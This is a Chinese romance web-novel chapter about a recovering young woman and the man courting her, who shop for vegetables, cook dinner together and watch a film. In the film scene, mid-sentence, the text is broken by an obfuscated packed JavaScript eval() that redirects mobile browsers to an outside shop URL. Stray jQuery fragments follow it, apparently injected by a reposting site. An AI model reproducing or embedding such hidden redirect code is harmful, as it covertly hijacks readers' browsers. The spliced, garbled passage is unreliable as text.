黄晶午睡醒来时，窗帘缝里漏进来的阳光已经从正午的白色变成了午后的金色。她靠在床头，头发睡得有点乱，咸鱼夹子不知道什么时候从茶几上拿回来了，歪歪地挂在脑后。
裴砚坐在沙发上，电脑屏幕已经暗了，手里拿着手机正在回复邮件。
黄晶没出声，就那么靠在床头看着他，脑子里在转一件她想了很久的事。过了很久她开口：“我刚刚思考了一件大事——就是晚上吃什么？”
裴砚把手机放下，等她继续说。
“我在想，我们到底是每顿AA，还是你请一顿我请一顿？或者自己做？这样更省钱——虽然我还不太会做。”黄晶把自己的顾虑摊开，像是在跟他讨论一个需要共同决策的议题。
“如果你请一顿我请一顿，可能我们吃的餐厅价位不太一样，我的好像更普通一点。可能你吃的是符合你日常生活的，我的也是我日常的，但我会不自觉对比，并且想努力达到你那样的——就像上次的法餐一样，想吃漂亮饭。但如果每顿AA，好像又怪怪的。”
黄晶说完自己先皱了下眉，觉得这番话说得颠三倒四的。但她没有收回去，只是靠在床头，看着他。
裴砚听完她这番关于晚餐财政方案的论述，把电脑合上放在茶几上，从沙发上站起来，走到床边。“自己做。我教你。你想吃什么就买什么，成本均摊。”
“你上次做的榨菜拌面，光盘了。”
黄晶抬头看他，有点意外他怎么知道？
“那只是榨菜拌面，连个鸡蛋都没加。”
“那就加个鸡蛋。明天开始，你想吃什么我来做，你不会的我来教。成本AA，不分彼此。”他停了一下，补了一句，“但油条不算。油条是我带的，不摊成本。”
黄晶看着他，嘴角慢慢弯起来。“那面包片呢？也算你带的？”
“面包片是送的。果酱也是。”
黄晶靠在床头，想了想，然后说：“行。那今晚吃什么——我想吃番茄炒蛋。你会做吗？”
“会。冰箱里没有番茄，我去买。”
黄晶掀开被子下床，走到鞋柜旁边拿起自己的帆布鞋，一边穿一边说：“一起去。我得看看你会不会挑番茄。”
裴砚拿起车钥匙，跟在她身后出门。落日照在两个人的背后，拉出两道长长的影子。她走在他前面，咸鱼夹子歪歪地晃，他跟在后面，手里拿着手机，备忘录里加了一条新笔记：一起做饭，成本均摊，油条不算。
两个人再次走进超市，这次目标明确，直奔蔬菜区。黄晶走在前面，步伐比之前住院时轻快了不少，帆布鞋踩在超市的白色地砖上，发出轻微的摩擦声。裴砚推着购物车跟在后面，车子里还空着，等着被她填满。
黄晶站在番茄堆前，拿起一个大的，对着灯光看了看色泽，又轻轻捏了捏软硬度，然后递给他看：“这种大的适合炒蛋，汁多。”
裴砚接过番茄，放进购物车里。她又挑了几个，每一个都经过同样的检验流程。
黄晶又看到了旁边翠绿的青菜和白嫩的豆腐，于是挑了些放进购物车，说可以做青菜豆腐汤。
挑土豆的时候黄晶用手指轻轻蹭掉表皮上的泥，凑近闻了闻，然后放了几个进车里。四季豆她左看看右看看，把两头掐掉一点点试脆度，挑好一盒放进车里时随口说了句：“四季豆一定要炒熟，不然会中毒！”
裴砚推着购物车，默默把这条记进脑子里的备忘录。
蔬菜区的货架上，各色蔬菜排列得整整齐齐，红的番茄、绿的青菜、紫的茄子、白的萝卜等，在超市的灯光下泛着一层水雾，像是刚被喷过水，每一颗都亮晶晶的。黄晶站在货架前，像站在一场小型农产品博览会中央，每一样都想伸手去摸一摸。
“这些鲜艳的蔬菜看得人心情都好起来了！好想吃西蓝花啊——你更喜欢吃西蓝花一点还是花椰菜一点？”
黄晶没等他回答，自顾自地继续往下说，“它们都是花菜家族的。但这个家族还有紫花菜，花青素含量很高，但煮起来颜色很像女巫的毒药；宝塔花菜那个螺旋的样子像不像佛祖头上的肉髻？所以我不喜欢吃它。”
“还有金色花菜，虽然胡萝卜素含量很高，但很像那种金黄色葡萄球菌，所以我也无法接受，感觉像在吃细菌，不如直接吃炒胡萝卜——胡萝卜你喜欢吃片状还是丝状啊？”
“要不我们明天吃西蓝花炒胡萝卜吧？胡萝卜炖土豆也好吃！白萝卜也好吃，白萝卜适合炖汤，但其实白萝卜烧肉也好吃！萝卜杆子腌咸菜也好吃！”
她这一长串几乎没有停顿，从花菜家族一路跳跃到胡萝卜的切割方式，再到白萝卜的多种烹饪用途。裴砚推着购物车跟在她旁边，在她终于换气的间隙给出了回答：“片状。明天吃西蓝花炒胡萝卜。”
“我不怕女巫毒药，你可以试试紫花菜。”
黄晶拿起一颗西蓝花放进车里，“那下次！今天先买这些，一天买一天的，不然菜会蔫。”
她继续往前走，看到白萝卜时又停下了。黄晶拿起一个白白胖胖的萝卜，举到他面前：“好美的萝卜，太漂亮了！像不像胡巴？就电影《捉妖记》里那个。我们今晚吃饭时候就看这部电影吧？怎么样？”
裴砚看着那个被她举在半空中的白萝卜，又看了看她难得兴奋的表情，嘴角微微扬起，“好。买。回去就看。”
黄晶把白萝卜放进购物车里，满意地拍了拍手，“嗯！”
往水果区走去，她边走边说：“那再买点圣女果。红的和黄的都好吃，黄色的更甜。你要吃红的还是黄的？”
“都要。”
黄晶回头看了他一眼，笑了一下：“行，那就都要。”她弯着腰对比价格标签，最后选了性价比更高的一盒混合装。
水果区旁边就是调味品货架。做菜要用的酱油、盐、料酒、生抽，也都一一采购齐全。裴砚推着车跟在她身后，黄晶拿起一瓶生抽对比标签上的钠含量，又拿起一瓶老抽看了看配料表，最后两瓶都放进车里。她一边挑一边嘀咕：“酱油要买两种，一种调味一种上色。”
结完账，又是一大袋拎回去。裴砚一手提着购物袋，一手虚扶在她身后，黄晶走在前面，还在念叨：“番茄炒蛋、青菜豆腐汤、炒四季豆，再蒸个米饭。够了。”
“胡萝卜真的买少了吗？明天不够用怎么办……还有那个白萝卜，你以前看过《捉妖记》没？”
“没有。”
黄晶转过头，用一种“你的人生怎么这么空白”的眼神看着他：“那你今晚得好好看。胡巴超可爱！”
“嗯。”裴砚提着菜，跟在她身后往停车场走。北京的傍晚正是下班时分，路上车流渐密，四环路的灯光一盏接一盏亮起来。而他在想的是——她的精神确实在好起来了。
从那个缩在被子里不说话、连手机都不充电的濒死时刻，到现在站在超市蔬菜区对着白萝卜说像胡巴，这个跨度他无法用任何指标来衡量。他只会继续跟在她身后，推着购物车，回答她关于西兰花和花椰菜的区别、胡萝卜切片还是切丝、萝卜杆子能不能腌咸菜的所有问题。
她问他喜不喜欢，他在心里回答的是：我喜欢你现在这样。
回到出租屋，裴砚把购物袋放在厨房台面上，黄晶已经开始分配任务了。她先把新买的锅碗瓢盆一件件拿出来，指挥他先把刚买的锅碗瓢盆用开水烫一遍再用。
裴砚烧了壶开水，把锅、铲、碗、筷、砧板挨个烫过，整齐码在沥水架上。黄晶在旁边验收，用手指摸了摸碗沿，确认没有残留的工业油味，才点头放行。
煮米饭的任务交给了黄晶。她拿出量米杯，对着米袋上的刻度看了几秒，然后用杯子往锅里加了三次。淘好米，按煮饭键，又从冰箱里拿出两个馒头和一根玉米搁进蒸笼，说怕不够吃。裴砚看了一眼那锅米，没说话——他知道今晚的米饭大概够四个人吃。
四季豆是黄晶洗的，她一根一根冲干净，放在砧板上切成丝。切出来的成品大小不一，有的细如发丝，有的宽如柳叶。“反正都要进肚子，形状不重要。”
然后指挥裴砚烧水焯四季豆——她特意强调了四季豆一定要炒熟，不然有毒。裴砚把焯好的四季豆捞出来，沥干水分，放在盘子里备用。
番茄的蒂被她拔了，黄晶举着那个蒂凑到裴砚眼前：“你看，这番茄蒂像五角星，又像派大星年轻时候是不是？就是《海绵宝宝》里的那个派大星。”
裴砚低头看了一眼那个被她捏在指尖的绿色小星，说：“像。”
黄晶又举着那个蒂看了一会儿，才把它扔进垃圾桶。
番茄切块，鸡蛋打散搅匀——这两件事都是她做的。刀工一般，番茄块切得有的大如乒乓球，有的小如拇指盖，但她很认真地对待每一刀，左手扶着番茄，右手握着菜刀，切得很慢，手指蜷起来用指节抵着刀面，怕切到手。
鸡蛋打散的动作倒是很熟练，筷子在碗里搅得飞快，蛋液表面浮起一层细密的泡沫。
青菜豆腐汤的备菜也是黄晶做的：青菜洗干净，码在篮子里沥水；豆腐从盒子里倒扣出来，她用刀轻轻划成方块，动作很轻，怕把豆腐弄碎。菜备好了，她退后一步，把灶台前的位置让给他。
裴砚穿上围裙——是她之前在网上买的那件，浅灰色，印着一只打瞌睡的猫。他站在灶台前，开了抽油烟机，倒了油，等油温升起来。黄晶站在旁边，手里端着装鸡蛋液的碗，随时准备递过去。
蛋液倒进锅里，刺啦一声响，黄晶下意识往后退了半步。裴砚拿起锅铲，把鸡蛋炒散，盛出来，然后下番茄，炒出汁水，再把鸡蛋倒回去，加糖、加盐。
她看着他调味的动作，在心里默默记下了顺序：先炒蛋，盛出来，再炒番茄，最后合在一起。糖要加在番茄炒出汁之后，盐要最后放。
四季豆下锅时油星溅了一下，黄晶往后跳了一步，躲到他身后，从他肩膀后面探出头继续看。裴砚把火调小，不紧不慢地继续翻炒。
青菜豆腐汤最简单——水烧开，豆腐块倒进去，煮一会儿，再下青菜，加盐，滴两滴香油，关火。汤色清亮，豆腐白嫩，青菜翠绿。
其实在裴砚炒菜时，黄晶也没闲着。她站在水槽边洗圣女果，边洗边说：“明明是小番茄，却叫圣女果，第一次听还以为是什么玄乎的东西，和《西游记》里的人参果一样。后来才发现其实就是小番茄，是品种名叫圣女。”
“还有现在市场上卖的那个人参果，也打着《西游记》的名号，其实就是香瓜茄，和茄子、番茄一样都是茄科的。土豆和辣椒也是茄科的——真的太伟大了这个茄科！”
黄晶转头看向裴砚，手里还捏着一颗洗好的圣女果，语气忽然变得充满敬意，“土豆是这个世界上最伟大的食物之一，无所不能，和鸡一样，简直是食物届最权威的存在！”
“我们明天吃黄焖鸡怎么样？”
裴砚把炒好的四季豆盛进盘子里，说：“好。明天买鸡腿。”
洗好小番茄后，黄晶拿起水果刀，给每个小番茄中间横切一刀，夹上她之前当零食买的乌梅条。她把成品摆在小碟子上，端到裴砚面前：“噔噔噔！番茄夹乌梅，开胃小菜！”
说着给还在炒菜的裴砚喂了一颗。他低头接住，嚼了嚼，酸甜的番茄汁和乌梅的咸甜在嘴里同时炸开。
“好吃吧？”
“嗯。”
黄晶又给自己喂了一颗，嚼着嚼着眯起眼睛，像一只吃到罐头的小猫。
菜全部端上茶几之后，黄晶喊了停。
她从沙发上拿起手机，站起来对着茶几取景——番茄炒蛋、清炒四季豆、豆腐青菜汤、番茄夹乌梅，三菜一汤一甜点，还有两碗堆得冒尖的米饭和旁边蒸笼上两个馒头、一根玉米。黄晶调整了好几次角度，把胡巴萝卜也放进画面边缘，然后按下快门。
拍完之后她放下手机，双手合十，筷子横搁在碗沿上，郑重其事地宣布：“我开动啦！”
她第一筷子夹的是番茄炒蛋。鸡蛋嫩滑，番茄汁酸甜适中，糖放得刚好，是她记忆里家常菜该有的味道。又夹了一筷子四季豆，脆嫩，没有生味，蒜末爆得很香。豆腐青菜汤黄晶先舀了一勺汤尝咸淡，然后点点头，说盐刚好，香油是点睛之笔。
裴砚坐在她旁边，端起自己那碗米饭，看着她一筷子一筷子地把每道菜都尝了一遍。
黄晶咽下第一口饭菜，抬头对他说：“好有家的感觉啊，而且比外面吃的更干净放心！”
然后她拿起那瓶超市买的菠萝汁，拧开盖子，给裴砚和自己的杯子里各倒了大半杯，然后举起杯子，杯沿轻轻碰了他的一下，清了清嗓子，学起了《小时代》里南湘的语气：“今天，我们大家之所以欢聚在这里，是为了庆祝我们的第一顿员工餐！”她把“员工餐”三个字咬得格外清晰，像是在宣布一项重要的公司福利政策。
裴砚举起杯子，杯沿轻轻碰了她的一下，“转正后的第一顿。”
黄晶没绷住，笑了一声，菠萝汁差点洒出来。喝了一口放下杯子，更正道：“还在试用期，裴同志，不要骄傲！”
“好。”
电影开始了，胡巴在屏幕上蹦蹦跳跳。黄晶端着饭碗盘腿坐在沙发上，边吃边当起了解说员。她问裴砚看过这部电影没有，说当年特别火。看到井柏然怀孕的桥段时，她筷子停在半空中，感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674946|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
慨道：“这部电影好超前啊，男妈妈诶！要是男的也能生孩子就好了。”
裴砚夹了一筷子四季豆，没有接话，但他的筷子在碗边停了一拍——他大概在思考这个问题的生物学可行性，然后决定不发表意见。
看到汤唯出场时黄晶又说：“里面原来这么多明星，大咖云集啊！汤唯好漂亮哦——”看到姚晨时感慨“姚晨也好美”，又觉得“白百何太适合这种小妞电影了！”
每一句评价都精准而不重样，裴砚在旁边听着，偶尔嗯一声，偶尔点头，偶尔在她盯着屏幕没空夹菜时默默往她碗里添一筷子番茄炒蛋。
饭吃完了，三菜一汤全部光盘。黄晶把最后一个四季豆夹进嘴里时还得意地指了指空盘子，说这就是他们的工作成果。
她拿起一个馒头，也给裴砚递过一个。玉米也一掰两段，各拿一半。两个人就这么靠在沙发上，看着胡巴在屏幕上蹦跶，啃着馒头，嚼着玉米。
电影结束时，茶几上只剩下一堆空碗空盘、两个菠萝汁的空瓶、几颗被遗忘的圣女果，和那个一直被放在茶几中央当吉祥物的胡巴萝卜。
消食差不多后，裴砚站起来收拾碗筷。黄晶也站起来，伸手想帮忙端盘子，被他挡了回去——裴砚把碗筷叠好端走，侧身让过她伸过来的手，然后从水槽下面拿出那双橡胶手套戴上，拧开水龙头。
黄晶靠在厨房门框上，左手还下意识地护着胸口——伤口虽然愈合得差不多了，但站久了还是会隐隐发酸。
她看着他把洗洁精挤在海绵上，打出泡沫，一个一个地擦洗碗碟。水声哗哗的，碗筷在水槽里轻轻碰撞。黄晶忽然开口：“等过几天我好了，碗我来洗吧。不能让你又做菜又洗碗的。”
裴砚的手套在一只碟子上停了一下，他没有回头，只是说：“好。”
黄晶想了想，又补了一句：“不过我不会戴手套。那个手套太大了，戴上总感觉不是自己在洗碗。”
“那就不戴。热水洗，不伤手。”
收拾完碗筷，裴砚把手套脱下来晾在水槽边上，擦了擦手。黄晶窝在沙发上，正把今晚拍的晚餐照片发给他。他手机在茶几上震了一下，屏幕亮起来——三菜一汤一甜点，番茄炒蛋居中，胡巴萝卜在画面边缘露出半个脑袋。
黄晶坐在旁边，若无其事地继续刷手机，好像在等他自己看到。裴砚点了保存，把这张照片放进相册里那个没有命名的文件夹——和之前她发的国旗照片、黄玫瑰照片、酒吧九宫格放在一起，他看了一会儿，锁了屏。
黄晶切换到微博小号，把同一张照片发出去，配文是“晚餐”和比耶的emoji。裴砚的手机又震了一下——她的微博更新了。他看着那个小小的比耶emoji，想起她上次发微博是住院前那条“我真的很不错”和大拇指。从大拇指到比耶，从“我真的很不错”到“晚餐”，她的更新频率正在恢复。她大概不知道他一直在看这个号，但他想的是，不管对谁，她愿意比耶了，这是个好信号。
之后的时间里，两个人各占沙发一端，各自刷着手机。她时不时分享一些搞笑视频给他看，他则低头回复几封工作邮件。
时间不知不觉过了九点，快接近九点半时，裴砚放下手机，站了起来，拿起茶几上的车钥匙，语气一如既往的平：“九点半了。我先回去。”
黄晶从手机屏幕上抬起头，看了一眼墙上的挂钟——九点三十四分。“哦。那你明天还来吗？”
“来。早上九点。带豆浆，无糖，油条整根不切段。”
“好，那明天见。拜拜，路上开车小心点，到家给我发消息啊！”黄晶从沙发上坐起来，冲他挥了挥手。她说这话时语气很自然，像是室友出门前随口叮嘱一句，又像是某种已经重复了很多次的日常。
裴砚站在门口，手搭在门把手上，听到这句话时没有立刻拧开。以前她也说过类似的话，但这一次不一样。他停了一下，点头，说了声“好”。然后拉开门，走进五月的夜色里。
黄晶从沙发上站起来，走到门边，把门关上，锁好。然后转身回到沙发上，拿起手机，把靠垫拍松垫在脑后，继续刷刚才没看完的美食视频。手指在屏幕上左滑右滑，表情很放松。
过了二十多分钟，微信消息弹出来，是裴砚发的。
黄晶盯着屏幕上的“到了”两个字，嘴角微微弯了弯，回了一个“好”的表情包。然后续看视频。窗外八角的夜色安静地笼罩着整条街，她翻了个身，把靠垫抱在怀里，忽然觉得今晚的菠萝汁好像比平时更甜一点。
裴砚躺在床上，盯着天花板上那盏吸顶灯，脑子里把这两天的画面一帧一帧地回放。她说“所以你是男同吗”，他否认，然后她列出了一整套逻辑严密的推论——雏鸟情节、自我投射、猎奇心理、骗婚阴谋……
他在那一刻忽然意识到，如果他不说清楚，她可以一直分析下去，用她那颗永远在运转的脑袋，把他所有沉默的、笨拙的、不善表达的行为全部归类为“可解释的非感情因素”。
于是他说了——不是猎奇，不是雏鸟情节，是因为她，是想照顾她，是在追她，她可以拒绝。她说要观察，他说好。
然后今天，她送了他花。她说这是“入职礼物”，他接过花的时候想，他大概是第一个在试用期就收到甲方鲜花的乙方。
晚上他们一起做饭。他炒菜时她躲在他身后，从他肩膀后面探出头继续看。他们在茶几上吃三菜一汤，她用菠萝汁和他干杯，学着她人的语气说话。
她吃饭时说了很多话，她曾经在抑郁时候，连一句话都不想说。现在她能对着一个白萝卜笑，能和他抢最后一筷子四季豆，能在吃完饭后说“等过几天我好了，碗我来洗”。她正在好起来，而他亲眼见证了这一切。
还有她的微博。她发了晚餐照片，他一路看着她的更新。她的笑容正一点一点回到脸上，而他知道自己不是那个让她好起来的人——是她自己，是于叔，是刘姨，是她好友，是那些他不在的日子里她独自熬过的所有夜晚……但他至少是那个在她好起来之后，陪她一起吃晚餐的人。
裴砚翻了个身，把脸埋进枕头里。明天早上九点要带豆浆，无糖，油条整根不切段。她说他表达方式有问题、她没接收到——那他以后就换一种方式，不只用行动，也用语言。
明天见面时，要说“早上好”。然后在她低头喝豆浆时，把“我很高兴你在好起来”这句话，放在心里最靠近舌尖的位置，等着她愿意听的那一天。
裴砚放好手机，关上灯，在黑暗中把明天要做的事过了一遍——豆浆、油条（不切段）。然后他合上眼，决定先把“早上好”说了，剩下的以后再说。